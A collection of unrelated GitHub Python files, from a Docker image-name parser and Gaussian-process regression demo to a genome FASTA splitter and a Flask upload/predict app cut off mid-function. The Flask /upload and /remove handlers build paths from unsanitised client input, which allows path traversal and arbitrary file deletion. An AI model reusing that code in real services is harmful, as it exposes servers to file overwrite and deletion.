{"seq_id":"30896923817","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport json\n\n\n# In[30]:\n\n\n# modelPath = '../output/testBigramModel.json'\nmodelPath = '../output/bigramModel.json'\nUomodelPath = '../output/UObigramModel.json'\nlimit = 6\n#https://stackoverflow.com/questions/35624064/sorting-dictionary-descending-in-python\n\n\n# In[35]:\n\n\ndef findNext(query,collection):\n    # Let's assume the query is of form \"abc cde \"\n    mPath = modelPath\n    if collection == \"UofO catalog\":\n        mPath = UomodelPath\n    with open(mPath,'r') as f:\n        file = json.load(f)\n        previousWord = query.split()[-1]\n        d = file[previousWord]\n        sortedProb = {k: v for k, v in sorted(d.items(), key=lambda item: item[1],reverse=True)}\n        return [query + x for x in list(sortedProb)[0:limit]]\n\n\n# In[19]:\n\n\n#list(newf)[0:3]\n\n\n# In[37]:\n\n\n# print(findNext(\"U.S. would \")\n# print(findNext(\"boo \")\n","repo_name":"bloodteller123/Simple-Search-Engine","sub_path":"src/query_completion_module.py","file_name":"query_completion_module.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41115415974","text":"import enum\nimport re\nfrom dataclasses import dataclass\nfrom typing import Dict, Optional, Tuple\n\nfrom yarl import URL\n\nfrom ._rewrite import rewrite_module\nfrom ._url_utils import _check_uri, _check_uri_str\n\n\n@rewrite_module\nclass TagOption(enum.Enum):\n    ALLOW = enum.auto()\n    DENY = enum.auto()\n    DEFAULT = enum.auto()\n\n\n@rewrite_module\n@dataclass(frozen=True)\nclass RemoteImage:\n    name: str\n    tag: Optional[str] = None\n    registry: Optional[str] = None\n    cluster_name: Optional[str] = None\n    org_name: Optional[str] = None\n    project_name: Optional[str] = None\n\n    @property\n    def _is_in_neuro_registry(self) -> bool:\n        return bool(self.registry and self.cluster_name and self.project_name)\n\n    @classmethod\n    def new_neuro_image(\n        cls,\n        name: str,\n        registry: str,\n        *,\n        cluster_name: str,\n        org_name: Optional[str],\n        project_name: str,\n        tag: Optional[str] = None,\n    ) -> \"RemoteImage\":\n        return RemoteImage(\n            name=name,\n            tag=tag,\n            registry=registry,\n            cluster_name=cluster_name,\n            org_name=org_name,\n            project_name=project_name,\n        )\n\n    @classmethod\n    def new_external_image(\n        cls, name: str, registry: Optional[str] = None, *, tag: Optional[str] = None\n    ) -> \"RemoteImage\":\n        return RemoteImage(name=name, tag=tag, registry=registry)\n\n    def __post_init__(self) -> None:\n        if self.registry:\n            if self.project_name:\n                if not self.cluster_name:\n                    raise ValueError(\"required cluster name\")\n            else:\n                if self.cluster_name:\n                    raise ValueError(\"required project\")\n        else:\n            if self.project_name or self.cluster_name:\n                raise ValueError(\"required registry\")\n\n    def as_docker_url(self, with_scheme: bool = False) -> str:\n        if self._is_in_neuro_registry:\n            if self.org_name:\n                prefix = f\"{self.registry}/{self.org_name}/{self.project_name}/\"\n            else:\n                prefix = f\"{self.registry}/{self.project_name}/\"\n            prefix = \"https://\" + prefix if with_scheme else prefix\n        else:\n            prefix = \"\"\n        suffix = f\":{self.tag}\" if self.tag else \"\"\n        return f\"{prefix}{self.name}{suffix}\"\n\n    def __str__(self) -> str:\n        result = self.name\n        if self.tag:\n            result = f\"{result}:{self.tag}\"\n        if self._is_in_neuro_registry:\n            assert self.cluster_name is not None\n            base = \"\"\n            if self.org_name:\n                base = f\"/{self.org_name}\"\n            result = str(\n                URL.build(\n                    scheme=\"image\",\n                    host=self.cluster_name,\n                    path=f\"{base}/{self.project_name}/{result}\",\n                )\n            )\n        return result\n\n    def __rich__(self) -> str:\n        return str(self)\n\n\n@rewrite_module\n@dataclass(frozen=True)\nclass LocalImage:\n    name: str\n    tag: Optional[str] = None\n\n    def __str__(self) -> str:\n        post = f\":{self.tag}\" if self.tag else \"\"\n        return self.name + post\n\n    def __rich__(self) -> str:\n        return str(self)\n\n\nclass _ImageNameParser:\n    def __init__(\n        self,\n        default_cluster: str,\n        default_org: Optional[str],\n        default_project: str,\n        registry_urls: Dict[str, URL],\n    ):\n        self._default_cluster = default_cluster\n        self._default_org_name = default_org\n        self._default_project_name = default_project\n        self._registries = {}\n        for cluster_name, registry_url in registry_urls.items():\n            if not registry_url.host:\n                raise ValueError(\n                    f\"Empty hostname in registry URL '{registry_url}': \"\n                    f\"please consider updating configuration\"\n                )\n            self._registries[cluster_name] = _get_url_authority(registry_url)\n\n    def parse_as_local_image(self, image: str) -> LocalImage:\n        try:\n            self._validate_image_name(image)\n            return self._parse_as_local_image(image)\n        except ValueError as e:\n            raise ValueError(f\"Invalid local image '{image}': {e}\") from e\n\n    def parse_as_neuro_image(\n        self, image: str, *, tag_option: TagOption = TagOption.DEFAULT\n    ) -> RemoteImage:\n        try:\n            self._validate_image_name(image)\n            tag: Optional[str]\n            if tag_option == TagOption.DEFAULT:\n                tag = \"latest\"\n            else:\n                if tag_option == TagOption.DENY and self.has_tag(image):\n                    raise ValueError(\"tag is not allowed\")\n                tag = None\n            return self._parse_as_neuro_image(image, default_tag=tag)\n        except ValueError as e:\n            raise ValueError(f\"Invalid remote image '{image}': {e}\") from e\n\n    def parse_remote(\n        self, value: str, *, tag_option: TagOption = TagOption.DEFAULT\n    ) -> RemoteImage:\n        if value.startswith(\"image:\") or self._find_by_registry(value):\n            return self.parse_as_neuro_image(value, tag_option=tag_option)\n\n        img = self.parse_as_local_image(value)\n        name = img.name\n        registry = None\n        if \":\" in name:\n            msg = \"here name must contain slash(es). checked by _split_image_name()\"\n            assert \"/\" in name, msg\n            registry, name = name.split(\"/\", 1)\n\n        return RemoteImage.new_external_image(name=name, tag=img.tag, registry=registry)\n\n    def convert_to_neuro_image(self, image: LocalImage) -> RemoteImage:\n        cluster_name = self._default_cluster\n        org_name = self._default_org_name\n        project_name = self._default_project_name\n        name = image.name\n        res = self._find_by_registry(name)\n        if res:\n            cluster_name, path = res\n            if path:\n                project_name, _, name = path.partition(\"/\")\n                if not name:\n                    project_name = self._default_project_name\n                    name = path\n\n        return RemoteImage.new_neuro_image(\n            name=name,\n            tag=image.tag,\n            cluster_name=cluster_name,\n            org_name=org_name,\n            project_name=project_name,\n            registry=self._registries[cluster_name],\n        )\n\n    def convert_to_local_image(self, image: RemoteImage) -> LocalImage:\n        return LocalImage(name=image.name, tag=image.tag)\n\n    def has_tag(self, image: str) -> bool:\n        prefix = \"image:\"\n        if image.startswith(prefix):\n            url = URL(image)\n            image = url.path\n            if image.startswith(\"/\"):\n                image = image[1:]\n        _, tag = self._split_image_name(image)\n        return bool(tag)\n\n    def _validate_image_name(self, image: str) -> None:\n        if not image:\n            raise ValueError(\"empty image name\")\n        if image.startswith(\"-\"):\n            raise ValueError(\"image cannot start with dash\")\n        if image == \"image:latest\":\n            raise ValueError(\n                \"ambiguous value: valid as both local and remote image name\"\n            )\n\n    def _parse_as_local_image(self, image: str) -> LocalImage:\n        if image.startswith(\"image:\"):\n            raise ValueError(\"scheme 'image://' is not allowed for local images\")\n        name, tag = self._split_image_name(image, \"latest\")\n        return LocalImage(name=name, tag=tag)\n\n    def _parse_as_neuro_image(\n        self, image: str, default_tag: Optional[str]\n    ) -> RemoteImage:\n        if image.startswith(\"image:\"):\n            # Check string representation to detect also trailing \"?\" and \"#\".\n            _check_uri_str(image, \"image\")\n            url = URL(image)\n            if not url.scheme and url.path.startswith(\"image:\"):\n                prefix = \"\"\n                if self._default_org_name:\n                    prefix = f\"/{self._default_org_name}\"\n                url = URL.build(\n                    scheme=\"image\",\n                    host=self._default_cluster,\n                    path=(\n                        f\"{prefix}/{self._default_project_name}\"\n                        f\"/{url.path[len('image:') :]}\"\n                    ),\n                )\n        else:\n            res = self._find_by_registry(image)\n            if not res:\n                raise ValueError(\"scheme 'image:' is required for remote images\")\n            cluster_name, path = res\n            url = URL(f\"image://{cluster_name}/{path}\")\n\n        if not url.path or url.path == \"/\":\n            raise ValueError(\"no image name specified\")\n        _check_uri(url)\n\n        name, tag = self._split_image_name(url.path.lstrip(\"/\"), default_tag)\n        if url.host is None:\n            # This is short url, either image:name or image:/project/name\n            cluster_name = self._default_cluster\n            org_name = self._default_org_name\n        else:\n            cluster_name = url.host\n            org_name = None\n        if url.path.startswith(\"/\"):\n            project_name, _, name = name.partition(\"/\")\n            if project_name == self._default_org_name and url.host:\n                # Long form with explicit org name (image://cluster/org/project/image)\n                org_name = project_name\n                project_name, _, name = name.partition(\"/\")\n            if not name:\n                raise ValueError(\"no image name specified\")\n        else:\n            project_name = self._default_project_name\n        if cluster_name not in self._registries:\n            tip = \"Please logout and login again.\"\n            raise RuntimeError(\n                f\"Cluster {cluster_name} doesn't exist in \"\n                f\"a list of available clusters \"\n                f\"{list(self._registries)}. {tip}\"\n            )\n        return RemoteImage.new_neuro_image(\n            name=name,\n            tag=tag,\n            registry=self._registries[cluster_name],\n            cluster_name=cluster_name,\n            org_name=org_name,\n            project_name=project_name,\n        )\n\n    def _find_by_registry(self, image: str) -> Optional[Tuple[str, str]]:\n        for cluster_name, registry in self._registries.items():\n            if image.startswith(f\"{registry}/\"):\n                path = image[len(registry) :].lstrip(\"/\")\n                return cluster_name, path\n        return None\n\n    def _split_image_name(\n        self, image: str, default_tag: Optional[str] = None\n    ) -> Tuple[str, Optional[str]]:\n        if image.endswith(\":\") or image.startswith(\":\"):\n            # case `ubuntu:`, `:latest`\n            raise ValueError(\"empty name or empty tag\")\n        colon_count = image.count(\":\")\n        if colon_count == 0:\n            # case `ubuntu`\n            name, tag = image, default_tag\n        elif colon_count == 1:\n            # case `ubuntu:latest`\n            name, tag = image.split(\":\")\n            if \"/\" in tag:\n                # case `localhost:5000/ubuntu`\n                name, tag = image, default_tag\n        elif colon_count == 2:\n            # case `localhost:9000/owner/ubuntu:latest`\n            if \"/\" not in image:\n                # case `localhost:9000:latest`\n                raise ValueError(\"too many tags\")\n            name, tag = image.rsplit(\":\", 1)\n        else:\n            raise ValueError(\"too many tags\")\n        if \"/\" in name:\n            _, name_no_repo = name.split(\"/\", 1)\n        else:\n            name_no_repo = name\n        if not name_no_repo:\n            raise ValueError(\"no image name specified\")\n        if not re.fullmatch(\n            r\"(?:[a-z0-9]+(?:[._-][a-z0-9]+)*/)*[a-z0-9]+(?:[._-][a-z0-9]+)*\",\n            name_no_repo,\n        ):\n            raise ValueError(\n                \"invalid image name. Docker specifies it to be the following:\\n\"\n                \"Name components may contain lowercase letters, digits and \"\n                \"separators. A separator is defined as a period, one or two \"\n                \"underscores, or one or more dashes. A name component may not \"\n                \"start or end with a separator.\"\n            )\n        if tag:\n            if len(tag) > 128:\n                raise ValueError(\"tag is to long\")\n            if not re.fullmatch(r\"[a-zA-Z0-9_]+[a-zA-Z0-9_.-]*\", tag):\n                raise ValueError(\n                    \"invalid tag. Docker specifies it to be the following:\\n\"\n                    \"A tag name must be valid ASCII and may contain lowercase \"\n                    \"and uppercase letters, digits, underscores, periods and \"\n                    \"dashes. A tag name may not start with a period or a dash \"\n                    \"and may contain a maximum of 128 characters.\"\n                )\n        return name, tag\n\n\n@rewrite_module\n@dataclass(frozen=True)\nclass Tag:\n    name: str\n    size: Optional[int] = None\n\n\ndef _get_url_authority(url: URL) -> str:\n    assert url.host is not None\n    port = url.explicit_port  # type: ignore\n    suffix = f\":{port}\" if port is not None else \"\"\n    return url.host + suffix\n","repo_name":"neuro-inc/neuro-cli","sub_path":"neuro-sdk/src/neuro_sdk/_parsing_utils.py","file_name":"_parsing_utils.py","file_ext":"py","file_size_in_byte":13039,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"}
{"seq_id":"35594726363","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure()\nax = Axes3D(fig)\n\nx = np.arange(0, 200)\ny = np.arange(0, 100)\nx, y = np.meshgrid(x, y)\nz = np.random.randint(0, 200, size=(100, 200))%3\nprint(z.shape)\n\n# ax.scatter(x, y, z, c='r', marker='.', s=50, label='')\nax.plot_surface(x, y, z,label='')\nplt.show()","repo_name":"LiuJingGitLJ/PythonSuanFa_2","sub_path":"Python03Month/python0315/maltdraw/maltdraw003.py","file_name":"maltdraw003.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"779627332","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"Cchen Zhang\"\n\nimport time, threading, multiprocessing\n\nbalance = 0\nlock = threading.Lock()\nthreadpool = []\n\n\ndef loop():\n    print('thread %s is running' % threading.current_thread().name)\n    n = 0\n    while n < 5:\n        n = n + 1\n        print('thread %s >>> %s' % (threading.current_thread().name, n))\n        time.sleep(1)\n    print('thread %s end' % threading.current_thread().name)\n\n\ndef dead_loop():\n    n = 0\n    while True:\n        n = n ^ 1\n\n\ndef change_value(n):\n    global balance\n    balance = balance + n\n    balance = balance - n\n\n\ndef run_thread(n):\n    for i in range(1000):\n        lock.acquire()\n        try:\n            change_value(n)\n        finally:\n            lock.release()\n\n\ndef test_multiThread():\n    print('thread %s is running' % threading.current_thread().name)\n    t1 = threading.Thread(target=run_thread, name='t1', args=(5,))\n    t2 = threading.Thread(target=run_thread, name='t2', args=(-8,))\n    t1.start()\n    t2.start()\n    t1.join()\n    t2.join()\n    print(balance)\n    print('thread %s is end' % threading.current_thread().name)\n\n\ndef test_thread_cpu():\n    n = multiprocessing.cpu_count()\n    print(n)\n    for i in range(n):\n        t = threading.Thread(target=dead_loop())\n        print('start new thread')\n        threadpool.append(t)\n        t.start()\n\n\ndef main():\n    # test_multiThread()\n    test_thread_cpu()\n    time.sleep(10)\n    for t in threadpool:\n        t.terminate()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cchencool/Arsenals","sub_path":"Python/Archive_170427/multiThreadPractice.py","file_name":"multiThreadPractice.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33431670379","text":"import sqlite3\n\ncon = sqlite3.connect(r\"e:\\classroom\\python\\hr.db\")\ncur = con.cursor()\n\ncur.execute(\"select * from jobs order by minsal desc\")\njobs = cur.fetchall()\nfor id, title, minsal in jobs:\n    print(f\"{id:3d} {title:30s} {minsal:6d}\")\n\ncon.close()\n","repo_name":"srikanthpragada/PYTHON_28_JAN_2019_DEMO","sub_path":"db/listjobs.py","file_name":"listjobs.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42241331727","text":"#! /usr/bin/env python\n\nimport sys\nimport os\nimport gzip\nfrom glob import glob\nimport re\n\ndef get_tax_lookup(summary_file):\n    # Dictionary to lookup taxonomy ID\n    _tax_lookup = {}\n    lines = (l.strip('\\n').split('\\t') for l in open(summary_file,'rU'))\n    header = lines.next()\n    for l in lines:\n        asm_id = l[header.index('ftp_path')].split('/')[-1]\n        ## asm_id = '%s_%s' % (l[header.index('# assembly_accession')], '_'.join(l[header.index('asm_name')].split()))\n        _tax_lookup[asm_id] = l[header.index('taxid')]\n    return _tax_lookup\n\ndef get_gi_lookup(genbank_file):\n    _gi_lookup = {}\n    gblines = (l.strip() for l in gzip.open(genbank_file, 'rb') if l.startswith('VERSION'))\n    for gbline in gblines:\n        x,acc,gi = gbline.split()\n        _gi_lookup[acc] = gi.split(':')[1]\n    return _gi_lookup\n\ndef get_taxid_from_genbank(genbank_file):\n    ''' Just get the first taxid in genbank file '''\n    taxidRE = re.compile('^/db_xref=\"taxon:(\\d+)\"')\n    gblines = (l.strip() for l in gzip.open(genbank_file, 'rb'))\n    for l in gblines:\n        m = taxidRE.search(l)\n        if m:\n            return m.group(1)\n    return None\n\n#     \n# for rec in split_gb_records(genbank_file):\n#         cur_taxid = None\n#         cur_acc   = None\n#         for l in rec:\n#             if l.startswith('VERSION'):\n#                 x,acc,gi = l.split()\n#                 cur_acc = acc\n#             else:\n#                 m = taxidRE.search(l)\n#                 if m:\n#                     cur_taxid = m.group(1)\n#                     break\n#         print '%s\\t%s' % (cur_acc, cur_taxid)\n# \n# \n\ndef main(args):\n    if args.sumfile == '':\n        tax_lookup = get_tax_lookup('%s.assembly_summary.txt' % args.tlevel)\n    else:\n        tax_lookup = get_tax_lookup(args.sumfile)\n\n    file_index = 1    \n    outh = open('%s.%02d.fna' % (args.prefix, file_index), 'w')\n    file_char = 0    \n\n    fasta_files = glob('%s/%s/*/latest_assembly_versions/*/*_genomic.fna.gz' % (args.db,args.tlevel))\n    for ff in fasta_files:\n        # Assembly ID\n        asm_id = ff.split('/')[-1].split('_genomic')[0]\n        ### Find the taxonomy ID\n        if asm_id in tax_lookup:\n            # Assembly ID has an exact match in the assembly summary file \n            ti = tax_lookup[asm_id]\n        else:\n            # Check if Assembly ID prefix matches to assembly summary file\n            asm_prefix = asm_id.split('.')[0]\n            # print >>sys.stderr, 'Using alternate lookup for %s' % asm_prefix\n            prematch = [k for k in tax_lookup.keys() if k.startswith(asm_prefix)]\n            if len(prematch)==1:\n                ti = tax_lookup[prematch[0]]\n            else:\n                # Check in genbank file for taxonomy ID\n                # print >>sys.stderr, 'Looking for taxid in genbank for %s'  % asm_prefix\n                gb_fn = '%s.gbff.gz' % '.'.join(ff.split('.')[:-2])\n                assert os.path.exists(gb_fn), \"GFF file %s does not exist\" % gb_fn\n                gb_val = get_taxid_from_genbank(gb_fn)\n                if gb_val is not None:\n                    ti = gb_val\n                    # print >>sys.stderr, 'Found taxid %s for %s' % (gb_val, asm_id)\n                else:\n                    # Give up, set taxon ID to assembly prefix\n                    print >>sys.stderr, 'Assembly ID %s is not found, assigning %s' % (asm_id, asm_prefix)\n                    ti = asm_prefix\n        \n        # Mapping from accession to gi\n        gf = '%s.gbff.gz' % '.'.join(ff.split('.')[:-2])\n        assert os.path.exists(gf), \"GFF file %s does not exist\" % gf \n        gi_lookup = get_gi_lookup(gf)\n\n        buffer = []\n        buffer_char = 0\n        for l in gzip.open(ff, 'rb'):\n            if l.startswith('>'):\n                acc = l.split()[0].strip('>')\n                gi = gi_lookup[acc]\n                # print >>args.outfile, '>ti|%s|gi|%s|ref|%s| %s' % (ti, gi, acc, ' '.join(l.split()[1:]))\n                headerline = '>ti|%s|gi|%s|ref|%s| %s' % (ti, gi, acc, ' '.join(l.split()[1:]))\n                if (file_char + buffer_char) > args.maxchar:\n                    print >>sys.stderr, '%s.%02d.fna has %d characters' % (args.prefix, file_index, file_char)\n                    # create a new file                \n                    outh.close()\n                    file_index += 1\n                    outh = open('%s.%02d.fna' % (args.prefix, file_index), 'w')\n                    file_char = 0\n                \n                # Write buffer to file\n                if len(buffer):                \n                    print >>outh, '\\n'.join(buffer)\n                    file_char += buffer_char\n                # Create new buffer\n                buffer = [ headerline ]\n                buffer_char = 0\n            else:\n                #print >>args.outfile, l.strip('\\n')\n                buffer.append(l.strip('\\n'))\n                buffer_char += (len(l) - 1)\n\n        # Clear buffer for file\n        if (file_char + buffer_char) > args.maxchar:\n            print >>sys.stderr, '%s.%02d.fna has %d characters' % (args.prefix, file_index, file_char)        \n            # create a new file                \n            outh.close()\n            file_index += 1\n            outh = open('%s.%02d.fna' % (args.prefix, file_index), 'w')\n            file_char = 0            \n        # Write buffer to file\n        print >>outh, '\\n'.join(buffer)\n        file_char += buffer_char\n    \n    print >>sys.stderr, '%s.%02d.fna has %d characters' % (args.prefix, file_index, file_char)  \n    outh.close()\n\nif __name__=='__main__':\n    import argparse\n    parser = argparse.ArgumentParser(description='Get sequences with taxonomy id appended')\n    parser.add_argument('--db', help=\"Database\", default=\"refseq\")\n    parser.add_argument('--sumfile', help=\"Summary file\", default=\"\")\n    parser.add_argument('--maxchar', type=float,  help=\"Max characters in file\", default=4e9)\n    parser.add_argument('tlevel', help=\"Taxonomy level to process\")\n    parser.add_argument('prefix', help=\"Output prefix\")\n    main(parser.parse_args())\n","repo_name":"gwcbi/cbi_build_db","sub_path":"split_seqs_with_ti.py","file_name":"split_seqs_with_ti.py","file_ext":"py","file_size_in_byte":6065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1260177032","text":"#!/usr/bin/env python3\n\nimport sys\nimport random\n\ndef cmdlinearg(name, default=None):\n    for arg in sys.argv:\n        if arg.startswith(name + \"=\"):\n            return arg.split(\"=\")[1]\n    assert default is not None, name\n    return default\n\nrandom.seed(int(cmdlinearg('seed', sys.argv[-1])))\nn = int(cmdlinearg('n'))\nm = int(cmdlinearg('m'))\nk = int(cmdlinearg('k'))\n\nedge_set = set()\nedges = []\n\nfor i in range(1, n):\n    root = random.randrange(0, i)\n    edges.append((root, i))\n    edge_set.add((root, i))\n    edge_set.add((i, root))\n\nfor i in range(0, m-n+1):\n    i = random.randrange(0, n)\n    j = random.randrange(0, n)\n    while i == j or (i,j) in edge_set:\n        i = random.randrange(0, n)\n        j = random.randrange(0, n)\n    edges.append((i, j))\n    edge_set.add((i, j))\n    edge_set.add((j, i))\n\nprint(n,m,k)\nfor (i,j) in edges:\n    print(i+1, j+1)","repo_name":"Kodsport/swedish-olympiad-2021","sub_path":"onlinekval/bikupor/data/gen_random.py","file_name":"gen_random.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73003162339","text":"import logging\n\n\ndef returns_notes_logger():\n    \"\"\"\n    this method is used to create and configure logger\n    :return: returns configured logger\n    \"\"\"\n    log_file_format = '%(asctime)s %(message)s {%(pathname)s:%(lineno)d}'\n    notes_logger = logging.getLogger(\"another\")\n    notes_log_handler = logging.FileHandler('notes_error_files.log', mode='w')\n    notes_log_handler.setLevel(logging.DEBUG)\n    notes_log_handler.setFormatter(logging.Formatter(log_file_format))\n    notes_logger.addHandler(notes_log_handler)\n    return notes_logger\n\n\nnotes_log = returns_notes_logger()\n","repo_name":"cypher0997/notes","sub_path":"notes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22344039141","text":"from __future__ import division\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom scipy.stats import norm\n\"\"\" This is code for simple GP regression. It assumes a zero mean GP Prior \"\"\"\n\n\n# This is the true unknown function we are trying to approximate\nf = lambda x: np.sin(0.9*x).flatten()\n#f = lambda x: (0.25*(x**2)).flatten()\n\n\n# Define the kernel\ndef kernel(a, b):\n    \"\"\" GP squared exponential kernel \"\"\"\n    kernelParameter = 0.1\n\n    # print a.shape , b.shape, b.T.shape\n\n    sqdist = np.sum(a**2,1).reshape(-1,1) + np.sum(b**2,1) - 2*np.dot(a, b.T)\n    return np.exp(-.5 * (1/kernelParameter) * sqdist)\n\n# N = 4        # number of training points.\n# n = 50         # number of test points.\n# s = 0.00005    # noise variance.\n\n\ndef get_sample_random(): # random samples\n\t# Sample some input points and noisy versions of the function evaluated at\n\t# these points.\n\ts = 0.00005    # noise variance.\n\tX = np.random.uniform(-5, 5, size=(1,1)) # generates random points for data evalutation\n\t# print X\n\ty = f(X) + s*np.random.randn(1) # these are the true values with a little bit of noise\n\n\tdata_point = np.append(X[0],y)\n\n\n\treturn data_point\n\ndef guassian_process_fitting(data):\n\t\"\"\"\tDoes the Gaussian process fitting\n\n\t\tArg: data = [x,f(x)] as a n x 2 numpy array\n\n\t\"\"\"\n\ts = 0.00005    # noise variance.\n\tX = data[:,0].reshape(-1,1)\n\ty = data[:,1]\n\tN = len(y)\n\tn = 50\n\n\tK = kernel(X, X) # this is creating the kernel of the know data that we have\n\n\t\n\tL = np.linalg.cholesky(K + s*np.eye(N)) # doing L = cholesky(K+sigma^2*I) this basically diagonalises it\n\n\n\t# points we're going to make predictions : in order to plot the function.\n\tXtest = np.linspace(-5, 5, n).reshape(-1,1) # this is the grid of X* needed to plot the function\n\n\n\t# compute the mean at our test points.\n\tLk = np.linalg.solve(L, kernel(X, Xtest)) #l\n\tmu = np.dot(Lk.T, np.linalg.solve(L, y))   # line 2, calculating the mean at each point\n\n\t#different from sudo code: in here it does the following\n\t# mu = [L\\K_*].T dot [L\\y]\n\n\t# compute the variance at our test points.\n\tK_ = kernel(Xtest, Xtest) # this is the K_* that is going to append the K - covarience matrix\n\ts2 = np.diag(K_) - np.sum(Lk**2, axis=0)\n\ts = np.sqrt(s2)\n\n\n\t#Aquistion function -------------------------\n\tmax_mean = np.max(y)\n\tnoise = .00005\n\n\tz_score = (mu - max_mean - noise) / s\n\n\t#probability of improvement\n\tPI = norm.cdf(z_score)\n\n\t# Expected improvement\n\tEI = (mu - max_mean - noise)*norm.cdf(z_score)+5*s*norm.pdf(z_score)\n\n\n\t# -------------------------------------------\n\n\t# PLOTS:\n\tpl.figure(1)\n\tpl.clf()\n\tpl.plot(X, y, 'r+', ms=20)\n\tpl.plot(Xtest, f(Xtest), 'b-')\n\tpl.gca().fill_between(Xtest.flat, mu-3*s, mu+3*s, color=\"#dddddd\")\n\tpl.plot(Xtest, mu, 'r--', lw=2)\n\tpl.savefig('predictive.png', bbox_inches='tight')\n\tpl.title('Mean predictions plus 3 st.deviations')\n\tpl.axis([-5, 5, -3, 3])\n\n\tpl.plot(Xtest, PI - 2,'g--')\n\tpl.plot(Xtest[np.argmax(PI)], np.max(PI)-2, 'g+', ms=20)\n\n\tpl.plot(Xtest, EI +1.5,'m--')\n\tpl.plot(Xtest[np.argmax(EI)], np.max(EI)+1.5, 'm+', ms=20)\n\n\n\t# draw samples from the posterior at our test points.\n\t# L = np.linalg.cholesky(K_ + 1e-6*np.eye(n) - np.dot(Lk.T, Lk))\n\t# f_post = mu.reshape(-1,1) + np.dot(L, np.random.normal(size=(n,20)))\n\t# pl.figure(3)\n\t# pl.clf()\n\t# pl.plot(Xtest, f_post)\n\t# pl.title('Ten samples from the GP posterior')\n\t# pl.axis([-5, 5, -3, 3])\n\t# pl.savefig('post.png', bbox_inches='tight')\n\n\n\tpl.show()\n\treturn Xtest[np.argmax(PI)], Xtest[np.argmax(EI)]\n\nif __name__ == '__main__':\n\tdata = get_sample_random().reshape(1,2)\n\tfor i in range(1,5):\n\t\tPI_next, EI_next = guassian_process_fitting(data)\n\t\tdata = np.append(data,get_sample_random()).reshape(i*2,2)\n\t\tPI_next, EI_next = guassian_process_fitting(data)\n\n\t\tdata = np.append(data, np.array([EI_next,f(EI_next)])).reshape(i*2+1,2)\n","repo_name":"sonderswag/Machine_Learning_Practice","sub_path":"Regression Techniques for Machine Learning/bayesian_optimization.py","file_name":"bayesian_optimization.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74895696359","text":"import sys\nfrom command import Command\nfrom git_command import GitCommand\nfrom error import GitError\n\nclass Config(Command):\n  common = True\n  helpSummary = \"Get and set repo config\"\n  helpUsage = \"\"\"\n%prog name [value]\n\"\"\"\n  helpDescription = \"\"\"\n'%prog' get or set config of the manifest repository.\n\"\"\"\n\n  def _Options(self, p):\n    p.add_option('--bool',\n                 dest='bool', action='store_true',\n                 help='git config will ensure that the output is \"true\" or \"false\"')\n\n  def Execute(self, opt, args):\n    if not args:\n      self.Usage()\n\n    if len(args) > 1 and not args[0].startswith ('repo.'):\n      print >>sys.stderr, \"error: can only set config name starts with 'repo.', but you provide '%s'.\" % args[0]\n      sys.exit(1)\n\n    if len(args) > 1 and args[0] == 'repo.mirror':\n      print >>sys.stderr, \"fatal: reset repo.mirror is not supported on existing client.\"\n      sys.exit(1)\n\n    mp = self.manifest.manifestProject\n\n    command = [\"config\"]\n\n    if opt.bool:\n      command.append('--bool')\n\n    command.extend(args)\n\n    if GitCommand(mp, command).Wait() != 0:\n        return -1\n","repo_name":"ossxp-com/repo","sub_path":"subcmds/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"18"}
{"seq_id":"72403026279","text":"from flask import Flask, request, send_file\nimport os\nimport sys\nfrom multiprocessing import Process\nimport json\nfrom waiting import wait, TimeoutExpired\nimport time \n\nLIB_ROOT = \"/Users/sameal/Documents/PROJECT/zombie_enterprise/code\"\nsys.path.append(LIB_ROOT)\nimport predict_tools\n\napp = Flask(__name__)\napp.debug = True\napp.config[\"UPLOAD_PATH\"] = \"/Users/sameal/Documents/PROJECT/zombie_enterprise/web/uploads\"\n\n\n@app.route(\"/upload\", methods=[\"POST\"])\ndef upload():\n    f = request.files[\"file\"]\n    key = request.form.get(\"suffixKey\")\n    upload_dir = os.path.join(app.config[\"UPLOAD_PATH\"], key)\n    if not os.path.exists(upload_dir):\n        os.mkdir(upload_dir)\n    upload_path = os.path.join(upload_dir, f.filename)\n    f.save(upload_path)\n    return \"Success\"\n\n@app.route(\"/remove\", methods=[\"POST\"])\ndef remove():\n    file_name = request.form.get(\"fileName\")\n    key = request.form.get(\"suffixKey\")\n    file_path = os.path.join(app.config[\"UPLOAD_PATH\"], key, file_name)\n    os.remove(file_path)\n    pred_path = os.path.join(app.config[\"UPLOAD_PATH\"], key, \"result.csv\")\n    if os.path.exists(pred_path):\n        os.remove(pred_path)\n    return \"Success\"\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n    key = request.form.get(\"suffixKey\")\n    upload_dir = os.path.join(app.config[\"UPLOAD_PATH\"], key)\n    res_path = os.path.join(upload_dir, \"result.csv\")\n    if not os.path.exists(res_path):\n        p = Process(target=predict_tools.analyse, args=(upload_dir,))\n        p.start()\n        